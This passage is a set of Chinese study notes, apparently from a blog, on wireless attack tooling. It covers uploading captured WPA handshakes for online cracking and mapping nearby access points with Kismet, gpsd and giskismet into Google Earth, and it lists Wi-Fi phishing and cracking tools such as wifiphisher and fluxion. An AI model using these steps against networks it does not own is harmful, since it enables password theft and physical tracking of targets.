-s 自动将 wpa.cap文件上传在线密码破解

-----------------fern-wifi-cracker

GUI介面

------------------无线侦查 KISMET-----------------

必须要有GPS的模块 也可以选择购买USB 内建GPS模块

就可以把目标GPS信息定位到具体的物理位置 (会将目标位置换算成经纬度信息)且特殊格式的文件可以被导入GOOGLE文件上

开启 kismet -c wlan1mon

会显示附近所有AP的详细信息

kismet 收集的信息文件会放置在当前运行目录

.nettxt 存放ap相关信息

如何进行GPS连接

买一个GPS模块的USB 映射到虚拟机

当映射到虚拟机时 查看dmesg 确认usb的名称

ps aux | grep gpsd 确认gpsd 是否有进程

gpsd -n (自己去启动gps模块) -N (不让gpsd在后台执行 会在前台使用gpsd 并显示在当前页面) -D4 (显示详细信息) /dev/ttyUSB0(设备名称) 执行完后就会和卫星进行定位

GPS信息会保存在.netxml文件内

giskismet -x kismet-09:20.netxml 导入gps信息到数据库内

giskismet -q "select * from wireless" -o (输出文件) asd.kml 提取数据库内容并输出到asd.kml文件

接下来就可以将asd.kml导入google 地球

google earth有linux windows macos 版本

下载google earth deb包文件

apt-get -f install 强制安装google earth 的依赖文件

dpkg -i google-earth-.deb 安装google earth

将netxml文件导入google earth 即可完成定位 且会精确定位到准确位置

-------------------工具

wifiphissher

airgeddon

fluxion

wifi pumpkin

你可能感兴趣的:(网络,网络协议)